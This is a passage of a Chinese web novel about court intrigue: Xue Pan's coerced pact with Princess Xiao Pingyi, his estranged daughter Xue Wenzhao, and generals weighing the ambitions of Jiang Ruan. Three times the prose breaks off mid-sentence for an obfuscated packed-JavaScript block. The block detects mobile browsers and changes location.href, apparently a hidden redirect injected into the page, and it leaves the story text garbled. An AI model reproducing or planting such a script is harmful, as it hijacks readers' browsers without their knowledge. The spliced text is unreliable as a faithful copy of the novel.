薛雯昭看着薛磐的目光柔和了下来,薛磐看到她头上戴着自己亲手给她做的簪子。 “父亲,那一日我说您与崇宁狼狈为奸是真,说您利欲熏心是真,可我这么多年得了您的庇护才得以将桓儿养大也是真。这些说直到今日才有机会说出来,过去是女儿太过固执,在这深宫里待了半辈子我总算是看清楚了,这好人不长命才是最大的实话。” 薛雯昭苦笑着,起身站定在薛磐面前,下一秒她一身华服跪在了薛磐面前。 “您再叫我一声昭昭好不好?” 120.聊以卒岁(一) 薛雯昭的眼泪顺着脸颊滑落,滴在了薛磐想要抱她的手上,那滴泪唤醒了薛磐的理智,他悬在空中的手顿住了,到最后只是落在薛雯昭的肩膀上拍了两下。 “昭昭好女,爹爹在呢。” 薛磐小声呢喃着,他甚至不知道薛雯昭听到了没有,薛雯昭低着头跌坐在地上,薛磐隔着她的肩膀感受到了她的颤抖。 “我会守好桓儿,把他给你好好带回来。” 薛磐的声音很轻,他说话的时候一下一下拍着薛雯昭的背,薛雯昭点着头应了声“好”,全然没有了平日里骄矜的样子。 只是薛雯昭方才的话薛磐都听进去了,狼狈为奸、利欲熏心,每一个字眼都插到了薛磐心上。 薛磐这些年不是没有机会和薛雯昭说话,是他不敢。 当日薛雯昭还在月子里,抱着浑身刚被清洗干净的萧祺桓,她冷笑一声看着薛磐,问道:“你指望我替你谋个好仕途吗?你指望他替你挣个好前程吗?父亲,我这辈子都不会让他做太子。” 薛磐还记得薛雯昭说这句话时的决绝,他也记得自己鼻腔里全是女儿生产后的血腥味。 他的夫人体弱,这辈子他们就只有薛雯昭一个孩子,此时这味道好像把薛磐拉回到十八年前,他捧着薛雯昭爱不释手,发誓要让她做天底下最自由的女子,后来薛磐亲手把她送进了这四方天。 薛磐还记得那一天,他在朝会后被内侍叫住,那内侍他不认得,可当时的他只是个小小的户部给事中,他谁也不敢得罪,于是他就一步步走到了丞相府。 薛磐还记得他是左脚先迈进丞相的,刚一进院子他就闻到扑面而来的花香,他没去过御花园,可他觉得御花园也应该就是这样了。 薛磐跟着内侍一路往里屋进,虽说他心里有怀疑也有顾虑,可是内侍的步子丝毫没有停歇,他也不敢有所懈怠,最后他在丞相府的后院见到了初为人妻的萧娉祎。 那时候应该是五月,阙州的五月已经是夏日的样子,薛磐没有见过从前的萧娉祎,所以他只觉得此时穿着披风将自己遮得严严实实的萧娉祎是因为不想让外男见到自己的身体。 薛磐恭敬地朝萧娉祎行礼,他再抬头的时候周遭已经一个人都没有了,萧娉祎让他起来,他坐到了离她最远的那个凳子上。 “薛大人今年三十几了?” “禀夫人,三十有四。” 薛磐额角已经渗出汗,萧娉祎将他的紧张尽收眼底,她递过来一个帕子,薛磐犹豫了半天还是接了过来。 “谢夫人。” “叫我殿下吧。” 薛磐一时间没有反应过来,随即他意识到萧娉祎是让他称呼自己为公主而不是丞相府的夫人,他顺从着应了一声,“是,殿下。” “薛大人家里有个千金?” 薛磐心里一惊,他不知道萧娉祎为什么突然提到他的宝贝女儿,可他又不敢不回答,踟蹰了半天从嗓子里挤出一个“嗯”。 “该和霖儿差不多大?” 薛磐不明白萧娉祎为什么会一上来就拉近自己和他们姐弟俩的关系,他一个放在阙州都没人会理的给事中完全不值得萧娉祎这么做。 “是,昭昭今年十四了。” “昭昭,”萧娉祎轻笑一声,“大名叫什么?” “薛雯昭。” 薛磐咽了咽口水,萧娉祎了然地点头道:“薛大人定是很爱昭昭吧,这名字可有寓意?” 薛磐犹豫了一下,“取‘昭昭如愿,岁岁安澜’之意。” 不知道是不是薛磐看错了,萧娉祎听到他这句话的时候眼眶红了,但很快她别过头去,笑着道:“真好,可有给她定好亲事?” 薛磐动作一怔,帕子径直从他的手上掉落,他连忙跪在地上谢罪,用自己的袍子反复擦拭着这块洁白如雪的手帕。 “薛大人不用如此拘谨,只当我是随便问问。我家弟弟这么大了没成个家,我这个做姐姐的该替他想想。”说着,萧娉祎好似不经意般抚着自己的衣裙,“我们俩在先帝的众多子嗣中实在太不起眼,若我不为他考虑,没有人还会记得他了。” 萧娉祎叹了一口气后莞尔一笑,将脸上的阴霾一扫而光。 “不知薛大人这一路觉得丞相府布置如何?” “陈设精美,布局精良,配丞相恰好。” 此时的薛磐已经有些急了,他能感觉到萧娉祎在试探他,可他想不到自己身上有什么东西是能被萧娉祎看上的,就是他这条命也不用萧娉祎如此大费周章,更何况萧娉祎三句不离自己的闺女。 薛磐想要快些离开,他不想把自己的女儿推进火坑。 帝王家是好,锦衣玉食众星捧月,可这日子不是寻常人能过的,这一脚要是踏进宫门,后半辈子就只能做宫墙上的壁画了。 薛磐他不求女儿凭一段姻缘飞上枝头变凤凰,他更希望自己的女儿能找个一般人家的书生,庸庸碌碌,一生无为也行。 “那薛大人可喜欢这宅子?” 萧娉祎脸上带着笑,可薛磐觉得她笑得渗人,萧娉祎的这个问题根本没有给他回答的可能,他只好装作惶恐的样子又跪倒磕了一个头。 “若是臣有哪里做得不好,还请殿下明示。” 薛磐说完看萧娉祎还是没有反应,又试探着补充了一句:“或者殿下有用的找我的地方,我薛某肝脑涂地,全力以赴。” “当真?” 薛磐磕头的动作的停住了,他意识到自己掉进了萧娉祎的陷阱,他颤抖着直起腰,脸上涕泗横流。 “薛某只请殿下不要为难我的妻女。” 薛磐的目光不敢在萧娉祎脸上停留太久,可他还是看到了萧娉祎脸上不经意漏出来的笑容。 “怎么会,我还指望着与昭昭做妯娌呢。” 闻言,薛磐卸了力气,跌坐在亭子中间,他听到萧娉祎轻笑一声。 “薛大人就没想过再往上爬一爬?有时候也是能父凭女贵的。” 薛磐一只手撑着地缓缓将自己的姿势端正,他躬着腰一副谦卑模样问:“还请殿下明示。” “父亲没多久了,只要我们动作快些,说不定明年你就能成皇子的外祖父。” 萧娉祎的话如同吹在薛磐耳边的风,虽轻却让他的双手止不住地打颤,他感觉自己今日就要命尽于此了,刚停下的眼泪又开始流。 “殿下,为什么选中我?” 薛磐努力克制住语气中的颤抖,可这一切在萧娉祎眼中就是她胜利前的预兆。 “薛大人家世清白,为官正道,只有您这样的人才能在所有人的注视下坦荡地活着。而我要做的这件事就需要个不起眼的小人物,您最合适不过。” 萧娉祎说着慢慢向下俯身,薛磐感觉她脸上的脂粉香气洒满了自己的鼻腔。 “况且你少时高中,却碌碌无为在这阙州混了快十年,心里一定不舒服吧。这阙州的官场是不是不如你想象中一样?” 薛磐不敢应声,萧娉祎冷笑一声紧了紧自己身上的披风。 “别和我说你没有野心,这些年显贵人家的门你没少登。你这清白不过是被逼的,你除了清白一身,什么也做不了。” 薛磐被戳中心事,脸上绯红一片。他十七岁高中,一跃成为乡里口中的骄傲,可当他背着爹娘准备的包袱来到阙州时,他才发觉他这辈子最大的负累就是他平平无奇的包袱。 南魏建国百余年,历经七位皇帝,世家根基是同南魏的命脉一同长起来的,到了薛磐这一代,寒门贵子已经成了一个笑话。 他已经记不清那些名字在他后面的人都到了什么位置,因为每个人上去的时候都踩了他一脚,他们笑他只会读书,笑他白日做梦,薛磐的头越来越低,最后他闭上了眼睛。 他其实已经认命了,只是每次经过家门口那个学堂,还是会想到他没日没夜挑灯夜读的时候,他觉得现在的自己愧对了当时的付出,也愧对了爹娘的期望。 萧娉祎此时的话,给了薛磐当头棒喝。 他这么多年清清白白,不是因为他想清清白白,而是他只剩下清清白白。 薛磐甚至连送礼都送不出去。 明明处在户部这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15194562|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个最容易升迁的地方,可薛磐硬是熬走了三个上司和两个徒弟。 “我需要你做的不多,你只用把各皇子背后的人列出来,这对于你一个在户部待了这么多年的人来说不难,具体的事情我会做。” 萧娉祎云淡风轻地说着,可薛磐心惊肉跳地不知如何回应。 “对了,我听闻你还会些医术对吗?有什么毒可以不知不觉慢慢要了一个人的命?”萧娉祎顿了顿,”也不能太慢,最好在我一切做完之后就能让他暴毙身亡。” 萧娉祎最后这四个字几近咬牙切齿,这次薛磐不敢不应,他颤抖着点头,“我可以给您开个方子,每日晚膳后把它加进汤里,在人死之前都不会有什么反应的。它表面用于食补,可您只要在餐饭里加些菠菜,日积月累此人的身子就亏了,犹如虫蛀。” “你就这么应下了?不问问我要来做什么?” 萧娉祎嘴角勾着笑,此时的薛磐也回过神来,他苦笑着摇头道:“我的家底您一清二楚,我若不做,应该会成为那张死亡名单上的人。至于您,我也能猜出个七八分。我可以为您做事,但是事成之后您要应我一件事。” “你说。” 薛磐长叹一口气,“若昭昭真的进了宫,你要确保无论萧霖喜不喜欢她,她都能安乐地过完一生。” 萧娉祎顿了顿,笑着说:“可以。至少在我活着的时候不会有人动她以及她的孩子。不过薛大人这时候怎么不聪明了?” 薛磐微微皱眉,瞧见萧娉祎脸上的表情像是有些惋惜,又像是有些期待。 “你大可放心,你女儿是萧霖自己选中的,所以才会有我那句‘父凭女贵’。” 萧娉祎脸上笑意渐浓,衬得她面前的薛磐面色煞白。 “我也不知道霖儿是何时遇到过昭昭,他只同我说薛大人府上有个极好看的妹妹。” 薛磐感觉到自己在发抖,他缩在袖子里的手紧紧握着里衣,指尖嵌在皮肉里却抵不上他心痛万分。 萧霖是没权没势,可只要他留着皇家的血,总归还是薛磐惹不起的。如今薛雯昭被萧霖看上,那薛磐就只能拼尽全力为这位不得宠的皇子谋一个出路,不然他的女儿也不会好过。 那一瞬间冷汗褪去,薛磐正了正衣冠,向萧娉祎长久一跪,再起来时他冷了面孔,“您一定要说到做到,不然我拼了老命也会拉您下水。不管做不做得到,至少能溅您一身血。” 那天薛磐比往日回家的时辰都要晚些,一进门夫人就急匆匆迎了上来,薛雯昭躲在门后面看着薛磐,薛磐笑着安抚妻女,可自己一夜未眠。 一个月后薛磐升任户部郎中,所有人都惊讶于他这颗沧海遗珠终于被人发现了,可只有他自己知道明珠暗投的滋味。 在那之后的半年里,薛磐基本住在了户部,他怕见到女儿的时候会忍不住哭。他每日晨起去薛雯昭喜欢的铺子给她买早餐,挂在门口后一个人回户部。他这些年在户部听了许多也看了许多,各色人在他面前就像是赤条条的名录。 不得不说萧娉祎识人很准,薛磐的确是最适合做这件事的人。他低调了半辈子,纵使成了郎中也不敢懈怠,在旁人眼里他越发勤勉,没有人怀疑过他官路不正,亦或许所有人都认为薛磐值得这个郎中的位置。 在薛磐第一次踏进丞相府的十个月后,他递给了萧娉祎一张名单。 再翻过年时,那张名单上有些人调离了京城,有些人告老还乡,还有些人投入大牢。 薛磐不知道萧娉祎是怎么做到的,他也不关心,他只知道自己的闺女要留不住了。 又是三个月,在老皇帝殡天后丞相不知从何处拿出一封遗诏,上面只单薄地写着传位于萧霖。而此时这朝堂上能够和丞相相抗的人都让老皇帝扔出了阙州,最后萧霖坐享其成。 只是当所有人都默默应下了其中的龌龊,老丞相突然暴毙,死因不明。 大理寺所有人花了半个月将丞相府翻了一遍,却什么也查不到,只听说萧娉祎喝汤时喜欢加一些菠菜。 那之后,这南魏朝堂彻底成了他们姐弟俩的天下。 121.聊以卒岁(二) “父亲也一定要平安回来。” 薛雯昭的声音把薛磐的思绪拉了回来,她说话时眼睛直勾勾望着薛磐,此时她满脸的泪水被薛磐用手心盛住,薛磐抚着她的下颚替她擦掉眼泪。 “好,我们都会平平安安回来。” 薛磐终于还是没忍住,他轻轻搂过女儿让她靠在自己肩膀上,即使此时的薛雯昭已经四十岁了,可薛磐只觉得自己还是抱着那个小小的、软软的昭昭。 “当年您亲手把我送上入宫的轿子,我承认我真的恨死您了。可后来我有了桓儿,他一天天长大,我也慢慢明白了为人父母的滋味。” 薛雯昭慢慢起身,她拉着薛磐坐到榻上,“我是萧霖选中的,逃不掉的,反倒是我连累您,让您不得不去为崇宁做那些龌龊事。” “不是的,”薛磐下意识反驳,他捏住薛雯昭的手,“我们的命数只是恰好连在了一起,我会被崇宁看上也是我自己的命,怪不了任何人。” 薛磐朝薛雯昭笑了笑,自己咽下了嘴里的苦涩。 他终究还是没有把自己年轻时为了仕途做的那些趋炎附势之事说出来,他很清楚是他自己给崇宁留了把柄,可面对女儿,薛磐还是想最后为自己留一分薄面。 薛雯昭也默契地没有与他在此事上辩驳,只是松开了薛磐的手,把头上的簪子拔了下来。 “在少将军送给我这个簪子之前,我一直以为我能活到今日是靠我自己谨慎小心,我庆幸我能把桓儿养大,能在这宫里有一席之地,可这个簪子递到我手上的时候,我突然了然了。” 薛雯昭的拇指摸索着簪子上的白玉,温润冰凉的触感直达她心底。 “当年您本是最有希望接任户部侍郎的人,可萧霖对您的信任远远超过了崇宁的预想,她知道您从未真正屈从于她,她怕您仗着我和萧霖的权威摆脱她的束缚,于是她挑了周湘进来,为的就是给您上眼药,告诉您她掌着后宫,也掌着我。” 薛雯昭的声音如同外面的落雪,直至落下前都不着一丝痕迹,她说话时薛磐始终低着头,他有太多话想和薛雯昭说,可此时他更愿意女儿主动来和自己说说话。 “我那时候还是太年轻,容易被些浅显的事情迷了眼睛,”薛雯昭笑着,“我以为您把我送进宫只是为了巩固自己的位子,是为了替自己谋一个前程,毕竟我入宫后,您称得上一句官运亨通。” 先帝三年丧期一满,萧霖就下旨娶了薛雯昭,他甚至没有大选,一切按照民间三媒六聘的礼数求娶薛家姑娘。 实际上萧霖那封旨意本来要立薛雯昭为后,是崇宁推说薛雯昭的母家不够显赫,让萧霖先缓一缓。 那时的萧霖对崇宁百依百顺,他没有深究崇宁的用心,只记得姐姐为自己做了许多,他应下了崇宁的话,同时开始着手为薛磐的仕途铺路。 只是薛雯昭虽以嫔位入宫,却也成了南魏史上第一个无子嗣封嫔的女子。 在那之后,薛磐的仕途如有神助,户部郎中做了短短两年就升任太仆寺少卿,几乎成了与萧霖形影不离的人。入宫第二年,薛雯昭有了萧祺桓,薛磐要升任户部侍郎的消息就开始如雨后春笋般络绎不绝。 而这一切落在薛雯昭眼里,她只觉得那个从小把自己捧在手心里的父亲变了。 她不知道薛磐经历了什么,她只知道外人都说父亲和崇宁走得很近,旋即她突然就收到了萧霖的婚书,薛磐对此一言不发。她被人抬进宫门的那天,薛磐始终没有出现。 薛雯昭还记得父亲说过,要给她在那年考上的举子里选个最称心如意的,她记得父亲和她提过那个人叫陈频。 后来薛雯昭顺利诞下大皇子,萧霖抱着萧祺桓的样子让薛雯昭想到自己是不是也曾被父亲这样抱着。 她说不上喜欢萧霖,可她觉得萧霖无论是作为萧祺桓的父亲或者作为她的夫君,都让人挑不出错来。 萧霖望着床上脱力的薛雯昭,问她是不是想家了,薛雯昭点头,第二日就见到了自己的父母。 母亲在她的床前握着她的手哭,她也止不住地想流泪,可站在一旁的乳母说月子期不能哭,薛雯昭硬是把眼泪逼了回去。 那时薛磐就站在她的屋子中央,与她隔着不远不近的距离,她知道薛磐一直在看她,可她不知道要怎么面对父亲。 她觉得下次再见时薛磐应该就是侍郎了。 在薛雯昭的心里,薛磐是能做丞相的人,可不该是通过这样的途径,以这样一条不光彩的路升上来。 于是薛雯昭在二人临走时让母亲在外面等等,她叫住了薛磐,说了她这辈子对薛磐说过的最重的话。 “父亲,我这辈子都不会让他做太子。你死了这条心吧。” 那日薛磐走后薛雯昭把自己一个人锁在了宫里,萧祺桓哭,她也哭,他们的哭声在崇明殿的空中响了一整晚。 没过多久,崇宁主张为萧霖举行一场大选,让各家适龄的女子都来参加。 那是萧霖第一次反抗,因为薛雯昭生产后身子一直很差,他不想把更多精力放在别人身上。可崇宁的话他忤逆不了,先帝死了,崇宁就成了萧霖一个人的皇帝。 那场大选一共选进来七个人,其中家世才貌最好的就是温浅和周湘。 萧霖自然明白崇宁的意思,他看着最后的册封名单,大笔一挥立了温浅为后。 只是萧霖的意气用事没有给他带来任何实质性的损害,却苦了两个女子以及他们的母家。 薛雯昭虽说生了皇子封了妃,可毕竟她头上有了一个名副其实的皇后,那些有关薛磐要升迁的消息变到了温书让头上,连带着温浅的姐夫陈频也一起成了朝堂上炙手可热的人。 就在这时,薛磐自请去了槐州做知州。 所有人都笑他靠女儿升官的梦碎了,仿佛他过去为南魏勤勤恳恳的二十年都成了黄粱一梦,他不过是薛雯昭一人得道鸡犬升天的陪衬。 薛雯昭也是这么想的。 萧霖在饭桌上问她想不想最后再见薛磐一面,毕竟槐州苦寒,恐怕他很难有进京的机会了,薛雯昭摇了摇头,只从自己的梳妆台拿了一把匕首递给萧霖。 “你替我给他吧,让他保重。” “后来我才知道,”薛雯昭继续说,她指了指薛磐腰间的匕首,薛磐把它取下来递给了薛雯昭,“您自请去槐州不是因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15200030|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为懦弱,不是因为官场失意,您是怕我和您一样受人非议,怕崇宁迁怒于我,怕您连累我。” 薛雯昭将匕首拔出来,那刀身被外面的雪色映射出一道冷光,闪了她的眼睛,让她想流泪。 萧家的姐弟俩偏偏选中了一对父女,他们从被选中的那天起就成了彼此命运解不开的桎梏和牵绊,他们活成了一个人。 “只可惜我知道的太迟了,亏得少将军压在匣子里那张字条上的‘昭昭如愿,岁岁安澜’点醒了我。” “字条?” 薛磐面露疑色,薛雯昭先是一怔,突然怅然若失地笑道:“原来不是您写的。” “不过也没关系,”薛雯昭继续道,“少将军只是捅破了我们之间这层不透光的窗户纸,终于让我看见了您。” 薛雯昭将手上的匕首递了回去,薛磐却好似还沉浸在那张字条上。 “父亲?”薛雯昭轻声唤道。 “我来阙州前甄大人给我去了一封书信,告诉我了有关少将军的所有,包括他的身世。” 薛雯昭没说话,她静静等着薛磐的下文。 “你可还记得陈频?陈京观是陈频的儿子。” …… 与此同时,南魏立储的消息传到了每个翘首以待的人的耳朵里,陆栖野辞别父亲去往西芥,他到达陈京观帐前时,平芜正拿着南魏的军报走过来。 “陆少主,”平芜顿了顿,“亦或者陆将军?” 平芜的话里陆栖野没有听到一丝嘲讽,眼前的少年人眼巴巴地望着他,好像只是真心实意想寻个答案。 “叫陆少主,或者随你师兄叫栖野。” 平芜点头应了声“好”,帐子里的人听到了外面的动静,出声让他们进来说话。 陆栖野伸手掀开帘子,帐内的人一起望了过来,可没有人对他的到来表示疑惑,他们照常继续着方才的对话。 陆栖野看了一眼坐在最旁边的陈京观,离朔州一战已经过去五个月,陈京观身上看不出大病初愈的痕迹,反倒是被西芥的饭菜喂得更壮了些。 “你先坐,”陈京观在同沁格说话的间隙对着陆栖野说,随后他向跟在陆栖野身后进来的平芜伸出手,“定了?” 平芜点头道,把军报递了上去,“萧祺桓。” 平芜话音刚落,陈京观旁边的少年人面色一怔。陆栖野走到陈京观对面的位置坐下,他看了看眼前的人,这张和陈京观十分相似的面容让他有些发愣。 “崇宁什么也没说?” 平芜还没来得及回复,苏清晓已经凑过去将军报看了个大概,他轻笑一声微微摇头,“萧霖这招真高啊,他在赌崇宁能不能舍弃周原任。” 陈京观没说话,只是点头应着苏清晓,苏清晓停顿了片刻继续道:“不过从结果看来周原任对崇宁应该还是有价值。倒也不奇怪,毕竟蒋铎死后周原任是崇宁在朝堂里最有力的刀。” “父亲此时派大哥去北梁,那不就和我当初来西芥一样吗?” 萧祺枫冷笑一声,陈京观侧过头看了他一眼,又抬头望着对面的陆栖野。 “那不一定,你可以问问这个哥哥。” 122.聊以卒岁(三) 萧祺枫应声抬头,倒让陆栖野有些不知所措。 陆栖野从坐在这起就不自在,他没想到自己一上来就会被默认是盟友,眼前人说的所有话丝毫没有要避着自己的意思,可明明北梁如今立场不明,明明朔州战败他有着不可推卸的责任,他害死了很多人。 陆栖野这一路想了很久要如何同陈京观推心置腹地说一番慷慨陈词,让他再信自己一次。他也想到了最坏的打算,他以为他们不会再同以前一般亲密无间了,他以为他们有了不可忽视的隔阂。 现在来看,一切都是陆栖野自己多虑了。 “我说不准,”陆栖野沉吟片刻后应道,他说完只觉得脸颊发烫,“元焕只说他会认真考虑和南魏的关系。” 陈京观“嗯”了一声,手上继续翻着那早已烂熟于心的军报。 “不过我觉得他不会借机扣留萧祺桓。” “为什么?” 萧祺栩下意识反问,陈京观也抬头等着他的回答,陆栖野抿了抿嘴犹豫地答道:“就如你们信任我一样,我也信任他。元焕有野心不假,可他比先帝更谨慎,也更现实。他清醒地知道北梁沉疴不除,他甚至坐不稳这个位子。” 屋子里的人一时间都消了声响,坐在最中间的沁格私下环视了一圈,撑着桌子站了起来。 “那今天先到这,明日就是祭火节了,我们先好好过个年。” 沁格说罢拽了拽身旁的席英,席英抬头和她对视了一眼,两个人默契地拉走了屋子里的其他人,只留下了陈京观和陆栖野。 “伤都好了?” 陆栖野说着将自己的垫子往陈京观处又移了移,陈京观笑着应道:“嗯,我们有神医苏大夫。” 陆栖野点了点头没有再说话,屋子里的气氛又沉了下去。陈京观伸手去够桌上的茶壶,陆栖野抢先一步递给了他。 “谢谢。” 陈京观说话时嘴角勾起一抹笑,他拿起桌上倒扣的杯子给陆栖野倒了一杯酥油茶,然后又给自己也添了些。 “尝尝,这天喝些热的能热乎不少。” 陆栖野点头端起了杯子,他小口抿着,眼睛时不时打量着陈京观。 “你有什么想说的就说。” 陈京观嘴里还含着茶,含混不清地说了一句。陆栖野像是下定决心一般长叹一口气,手里还握着发烫的杯子。 “元焕还是没有处死元煜,他现在下落不明。” 陈京观“嗯”了一声,“我知道,你们的消息同南魏一样,每天都往我这送一封情报。” 陆栖野哑声,不自觉地摸着杯壁上花纹,陈京观又抬头看了他一眼,“你是觉得这一切都是你造成的?你是好奇我为什么没怪你?你是觉得我应该把这一切推到你身上,是吗?” 陆栖野诚实地点头,陈京观却笑着摇头道:“那我就不是陈京观了。” 陆栖野动作一滞,杯口的奶茶缓缓掉落他在他的手指上,他低头摩挲着,听到陈京观继续说:“我发誓要做一个不会再心软的人,可不代表我会变得黑白不分,会变成我们都厌恶的俗人一个。失败的原因有很多,有你也有我,总结经验的日子已经过去了,我现在只想以新的面貌重新面对这个世界,只想和江阮以平等的地位较量。” 陈京观说着又喝了一口手中的茶,他稀松平常的态度让陆栖野陌生,可他又觉得这样的陈京观会活得更洒脱些。 陆栖野把满腹言辞都吞进肚中,他释然地叹了一口气,将那温热的奶茶一饮而尽。 “好,我们就只看未来,不问过去。” 两个人好似都卸下了身上的担子,陆栖野同陈京观说了许多陆晁和自己讲过的话,说了陆栖川的事情,说了自己正在筹建私军,而陈京观把憋在心里许久的有关史家父子的心事全都吐露出来,和他讲了乌木禾就是萧祺栩,也把他与江阮错综复杂的渊源说了一遍。 “你等等,让我捋一捋。” 陆栖野抬手打断了陈京观,陈京观无奈地朝他点头笑了笑,“我知道这些事情你乍一听是有些不可思议,可我这五个月尽想这些来着,我需要一个身处事件外却又了解整件事的人听一听,你是最好的人选。” “我听着呢,只是有些地方没听懂。”陆栖野皱着眉头,沉思了许久问道,“那沁格的目的是为南魏培养一个狼王?” 陈京观没有立刻回答,陆栖野的话像是平地惊雷,是他目前听到过对沁格的目的最直观的描述。他反复念叨着陆栖野的话,脸上浮现出一丝不明所以的笑容。 “你这个形容倒是贴切。一个内陆腹地的狼王,他身上有着草原的血性,却又被所处的环境磨去了爪牙,他张扬却又没有攻击性。这样的人做帝王,无论是对西芥还是对天下都少一分威胁。” 陈京观说着,想到了萧祺栩说要用城防换京观时的神情,他原以为萧祺栩那时候还太小,应该不记得什么了,可那座京观困住的不只他一个人。 “父亲果然没说错,我们因为沁格是女子而轻视了她,我们忽略了她走到今天其实花费了比寻常帝王更多的心思和力气。” 陈京观叹息道:“是啊,这五个月我算是切身体会了如今人人向往的西芥到底是怎一个世外桃源。这里没有君主,只有一个又一个站起来的沁格。” 所以即使知道了沁格的野心,陈京观也没有担心过她会和元衡一样贪心。 沁格是唯一一个没有被圣水洗涤过的帝王,她的登基大典仓促举行,只有科迪是她的见证者。可也正因如此,她不被世俗认可,却也超脱于世俗之外,她还是从前的沁格。 “如今天下能不能太平,就看元焕了。” 陈京观打趣着朝陆栖野笑了笑,陆栖野没应声,下意识地端起已经空无一物的杯子。 “不过我也不会再轻易把自己的命运交到别人手上,”陈京观用手压住了陆栖野举杯子的动作,“这次我们只打万全的仗。” 陆栖野的腕子被陈京观抓住,他的手不自觉的抖了抖。 “话说回来,你有没有一种感觉,”陆栖野话锋一转,“自从廊州被拿下后,江阮已经安静得太久了。” 陈京观没说话,他收回自己的手,用眼神回应着陆栖野。 “那日他和元煜说话时信誓旦旦,我知道他那番话是故意说给我们听的,可那未必是假话。一个月拿下阙州,他未必做不到。他在等什么?” “现在拿下阙州风险太大,他占着廊州的位置可以直接进攻广梁,等到时候他把阙州彻底包围住了,夺下阙州就是探囊取物。” “你当真不在乎了?” 陆栖野突然发问,他没有直接点明,可陈京观明白他指的是南魏的安危。 陈京观笑着回:“谈不上在乎与不在乎,我只是明白了只救一人救不了黎民,只安一国安不了天下。” 陈京观说完顿了顿,继续分析道:“不过他要是直接打阙州我也能理解,毕竟我觉得他想要的并不是胜利,或者说通常意义的胜利。” 陈京观看到陆栖野朝他点了点头,他二人在这件事上瞬间达成一致。 “你有什么想法?” 陈京观停顿片刻答道:“他的手伸得太长了,虽说他的每一步都目标明确,可不能代表这就是他想要的结果本身。比起最后的输赢,他更喜欢行动中的掌控感,他喜欢看着所有人被他耍得团团转。” 陆栖野哑然失笑,不自觉地摇头道:“怎么会有人天生喜欢战乱,喜欢杀戮,喜欢暴虐?” 陈京观应道:“所以我觉得他一定经历过我们都不知道的过去,那是他的动机,也是他的杀机。” 陆栖野像是想到了什么,抬头看着陈京观,“我同你说过孔肃最后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15203538|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 告诉元焕的那句话吗?” 陈京观摇头,陆栖野继续道:“他说‘我真希望看到他想要的那个世界成真的一天’。江阮应当是给自己设定过一个目标的,至少他在孔肃面前表露过。他的混乱是手段,也是表象,他有自己的目的。” 陈京观没有应声,他缓缓起身活动着僵硬的四肢,耳边隐约传来账外的喧闹。 明日是西芥的春节,也是陈京观在异乡过的第一个年。 “这个问题我问过自己,可无论如何我都找不到一个准确的定义来描述他的心理。我只知道他在同世界复仇,可他要做到什么地步,我甚至不敢想。” 陈京观自嘲着笑道,他伸手掀起帘子,扑面而来的寒风刮过他的眉眼,很快那笑容被冷风冻结在他脸上,若是此刻有人正视他的目光,将从那里看到前所未有的恐惧。 “告诉元焕,江阮打掉南魏的下一步就是北梁。他对北梁的仇恨不比对南魏少,他不会因为元衡死了就善罢甘休,他想让天下所有人都体会一遍战争的苦难。” 陆栖野点头应下了,随即就听到陈京观继续道:“在不知道他要做什么的情况下,那就作最坏的打算。” 此时,远处和沁格站在一起的萧祺栩看到了陈京观,他笑着朝陈京观招手,陈京观的目光柔软下来。 “江阮在追求一个‘王侯将相宁有种乎’的世界,他想要颠覆整个王权体制。” 如果说陈京观谋取的是“君以民存,亦以民亡”的安定,那江阮希望得到就是一个“人人称帝,天下无王”的世界。 那里没有皇帝,没有压迫,没有战乱,没有人会为了权贵的野心和贪心丧命,每个人的奋不顾身只为了给自己奔一个前途。 江阮受够了被所谓的圣心裹挟的人生,他不理解凭什么皇帝一个人可以决定一个国家的性命,凭什么人要因为身份的差别而被永远禁锢在所谓的阶层里。 出生是他选不了的,可怎么活该由他决定。 某种程度上,江阮和陈京观想要的是一个世界,可他们站在了世界的黑白分界,他们看到了一个世界的两面。 “陛下,当真要在此时进攻阙州?” 此时的东亭,江阮扶着窗棂,看着漫天大雪掩盖了未央宫,他身后的汪恕试探着问他,看到他点了点头。 “怎么,汪将军不忍心了?”江阮轻笑一声转过身,“不该啊,你应当在战场上过过年。” 汪恕没了声响,他只知道妻子来信问他过年会回家吗,而那封信压在他的床头他至今都没敢回复。 “你是不是也觉得我很冷血荒谬,觉得我惨无人道,”江阮看着汪恕,“可你想想,我所做的桩桩件件,元衡、萧霖、恪多,以及那史书上彪炳千秋的帝王们,哪一个没做过?可他们依旧青史留名,因为他们是胜利者。” “人就是很功利,只要结局是好的,无论过程多么的难以言说,总会有后人为他们找到合理的说辞。汪将军,只要你能打赢这一仗又一仗,没有人会记得你为何打仗,千年之后人们只会记得你的骁勇。” 